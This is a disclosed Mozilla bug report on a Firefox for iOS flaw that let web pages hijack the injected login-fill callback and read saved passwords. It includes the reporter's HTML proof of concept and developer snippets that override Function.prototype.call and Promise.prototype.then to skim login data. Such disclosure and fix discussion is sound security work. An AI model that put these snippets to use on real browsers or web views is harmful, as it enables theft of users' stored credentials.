Closed Bug 1340411 Opened 9 years ago Closed 8 years ago

'window.__firefox__.logins.inject' object is exposed to the web pages which may cause security problem

Categories

(Firefox for iOS :: Login Management, defect)

Product:
Firefox for iOS
Component:
Login Management
Platform:
Other
iOS
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
RESOLVED FIXED
Tracking Flags:
Tracking Status
fxios ? ---

People

(Reporter: martinzhou96, Assigned: justindarc)

References

Details

(Keywords: reporter-external, sec-moderate)

Attachments

(1 file)

GitHub Pull Request
55 bytes, text/x-github-pull-request
sleroux
: review+
bnicholson
: feedback+
Details | Review
User Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Steps to reproduce: Here is the PoC： <html> <body onload='window.__firefox__.logins.inject=function(msg) { try { var value = msg.logins[0].password; alert("Your First Username is:" + value); var value = msg.logins[1].password; alert("Your Second Username is:" + value); var obj = msg.logins; function lookProperty(obj){var ob=eval(obj);var property="";for(var p in ob){property+=p+"\n";}alert(property); };lookProperty(obj); if(LoginManagerContent.receiveMessage(msg)){alert("Success");}else{alert("Failed");}; } catch(ex) { alert(ex); } };'> <form action="http://www.qq.com" method="GET"> <input name="username" autofocus /> <input name="password" type="password"/> <input title="submit_btn" type="submit" value="Submit"/> </form> </body> <html> Actual results: I'm not very sure about this. Whether it's a bug or a normal feature. Supposing that three accounts of example.org is saved by the login manager. The PoC above could get the all saved username and password automatically. The essence of the problem is the object 'window.__firefox__.logins' is exposed to the web pages. If there is a XSS vul in exaple.org, the attacker could use this feature to steal the user's password and username very easily.
Group: firefox-core-security
What else do we do with this object, Brian? If it's readable it's also writable. Calling it sec-high for now, although maybe that's too severe if it's only reading passwords (presumably the page gets your password if you log in anyway, and it's fairly uncommon to have multiple logins for sites).
Flags: needinfo?(bnicholson)
Keywords: sec-high
(In reply to Daniel Veditz [:dveditz] from comment #1) > What else do we do with this object, Brian? If it's readable it's also writable. IIRC, this function just grabs information about the form, wraps it in an object, and hands it off to window.webkit.postMessage (which is not sandboxed, unfortunately) where we return the saved logins. > presumably the page gets your password if you log in anyway Yeah. We use the web view's origin to identify the request, so we should only be returning logins they've given to that domain already. XSS would obviously allow the logins to be stolen, but that'll happen either way after the user fills out the form. Note that I switched to the NMX team and I'm not currently working on Firefox, so I'm probably not the best person to ping for iOS security bugs now. Stefan, did we ever pick another iOS engineer that can take my place?
Flags: needinfo?(bnicholson) → needinfo?(sarentz)
Assignee: nobody → jdarcangelo
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Attached file GitHub Pull Request —
Attachment #8845002 - Flags: review?(sleroux)
Blocks: 1345607
Daniel, I'm wondering if this bug is eligible for the bounty program? Thank you so much.
Comment on attachment 8845002 [details] [review] GitHub Pull Request Patch looks good to me. :bnicholson, you're probably much better at JS than I am, do you mind giving this a quick peek as well?
Attachment #8845002 - Flags: review?(sleroux)
Attachment #8845002 - Flags: review+
Attachment #8845002 - Flags: feedback?(bnicholson)
I just spoke with :freddyb and after some discussion we are downgrading this to sec-moderate because there needs to be another vulnerability present on the page (in this case, XSS) in order for data to leak. Only the logins for the site are sent from native code to JS as seen here: https://github.com/justindarc/firefox-ios/blob/master/Client/Frontend/Browser/LoginsHelper.swift#L220-L235 The fix for this bug is to simply prevent `window.__firefox__.logins.inject` from being overwritten by a bad script on the page. For justification for the downgrade to sec-moderate, please see the following wiki page: https://wiki.mozilla.org/Security_Severity_Ratings
Keywords: sec-high → sec-moderate
Comment on attachment 8845002 [details] [review] GitHub Pull Request This looks fine to me, though I'm not convinced it completely solves the problem. Our user scripts run in the context of the web page, so there are lots of ways the page can muck around with our injected code. Arbitrary example (untested): Function.prototype.call = function () { console.log(arguments); } This would trigger when calling a function like [1], giving the page access to the message object. Without proper isolation, I don't think there's much we can do make our code truly safe from tampering. We can audit usage of every object in window scope and carefully evaluate how we're using each one, but this seems too fragile to be useful IMO. Related: I experimented with similar approaches at [2] (including adding UUID tokens with each message to validate the message sender), but stopped trying when I realized there were too many holes for it to be practical. I think the best we can do is carefully audit all messages we're sending to the content scripts on web pages under the assumption that the pages have full access to each message. [1] https://github.com/mozilla-mobile/firefox-ios/blob/2e750447ea44bfb018ca8024ffe94fc08f3b59ce/Client/Assets/LoginsHelper.js#L50 [2] https://github.com/thebnich/WKMagicBridge
Attachment #8845002 - Flags: feedback?(bnicholson) → feedback+
Landed on master: https://github.com/mozilla-mobile/firefox-ios/commit/39fd8acb3f44cedb7d8001fb780949d04bd9e999
Status: ASSIGNED → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
Hmmm, this is interesting. Wouldn't messing with Function.prototype like that break all other functionality on the page though? I also considered using UUIDs to verify messages from native to JS. I'd be curious to hear more about your experiments with WKMagicBridge. (In reply to Brian Nicholson (:bnicholson) from comment #7) > This looks fine to me, though I'm not convinced it completely solves the > problem. Our user scripts run in the context of the web page, so there are > lots of ways the page can muck around with our injected code. > > Arbitrary example (untested): > Function.prototype.call = function () { > console.log(arguments); > } >
Group: firefox-core-security → core-security-release
Sorry for the late response -- was in Chicago all of last week :) (In reply to Justin D'Arcangelo [:justindarc] from comment #9) > Hmmm, this is interesting. Wouldn't messing with Function.prototype like > that break all other functionality on the page though? Sure, that was just an arbitrary snippet showing how the user can manipulate the JS environment to exploit our code. Here's a more concrete example: Promise.prototype.then = function (resolve, reject) { return fn.call(this, function (result) { console.log(result.loginsFound); resolve(result); }, reject); }; Test case in action: https://people-mozilla.org/~bnicholson/test/exploit-ios-logins2.html This would execute at [1] after we've received the logins object from the message. [1] https://github.com/mozilla-mobile/firefox-ios/blob/d22e8dc969cada55f7ca2f2489e90740035186ac/Client/Assets/LoginsHelper.js#L129 > I also considered using UUIDs to verify messages from native to JS. I'd be curious to hear more about your experiments with WKMagicBridge. It works, and we can determine whether messages from native are spoofed, but then we run into issues like the one above. IMO, knowing that a message comes from a trusted sender isn't helpful if we're using the result in an untrusted environment.
Ah, ok... I see what you're saying now. Thanks for providing a test case. I almost think in this particular case (with saved logins), we should maybe just re-think the way we inject them into the page. Instead of passing the login data to a pre-existing callback that we provide on the page, we should maybe just inject our JS with the logins embedded within an anonymous function that populates the form fields. That would at least prevent JS (like your test case) from skimming the data. However, regardless of what we do, it would still be possible for JS on the page to add an event listener for the "submit" event and skim the data that way so... I'm not entirely convinced that its necessary for us to do much more here :-/ (In reply to Brian Nicholson (:bnicholson) from comment #10) > Here's a more concrete example: > > Promise.prototype.then = function (resolve, reject) { > return fn.call(this, function (result) { > console.log(result.loginsFound); > resolve(result); > }, reject); > }; > > Test case in action: > https://people-mozilla.org/~bnicholson/test/exploit-ios-logins2.html > > This would execute at [1] after we've received the logins object from the > message. > > [1] > https://github.com/mozilla-mobile/firefox-ios/blob/ > d22e8dc969cada55f7ca2f2489e90740035186ac/Client/Assets/LoginsHelper.js#L129
Can we intercept POST requests? In that case, we could fill the <input type="password"> to contain some sort of nonce instead of the real password. This nonce would then be replaced in a POST request, once the user actually hits submit.
Unfortunately, no -- WKWebView is pretty high level, so we don't have fine-grained access to individual network requests. I'd guess that the only proper way to fix this is to do what we do on Android and show a native dropdown UI for the username on focus, filling in the form username/password only after the user makes a selection.
Flags: sec-bounty? → sec-bounty+
Flags: needinfo?(sarentz)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: